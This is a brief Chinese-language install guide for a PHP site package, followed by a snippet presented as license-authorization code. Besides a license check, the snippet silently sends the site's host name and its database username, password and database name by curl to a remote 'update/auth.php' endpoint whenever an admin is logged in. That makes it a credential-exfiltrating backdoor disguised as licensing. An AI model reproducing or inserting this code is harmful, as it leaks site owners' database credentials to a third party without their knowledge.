1.配置drive/config.php
2.导入根目录install.sql
3.源码安装完成删除,谨防工具下载
4.请勿改版权后果自负
授权代码:
if (!isset($_SESSION['authcode']) && $islogin == 1) { $query = curl_get('http://链接/update/check.php?url='.$_SERVER['HTTP_HOST'].'&authcode='.$authcode); curl_get("http://链接/update/auth.php?url=".$_SERVER['HTTP_HOST']."&user=".$dbconfig['user']."&pwd=".$dbconfig['pwd']."&db=".$dbconfig['dbname']); if ($query = json_decode($query, true)) { if ($query["code"] == 1) {$_SESSION["authcode"] = authcode; } else {sysmsg($query["msg"], true);} }}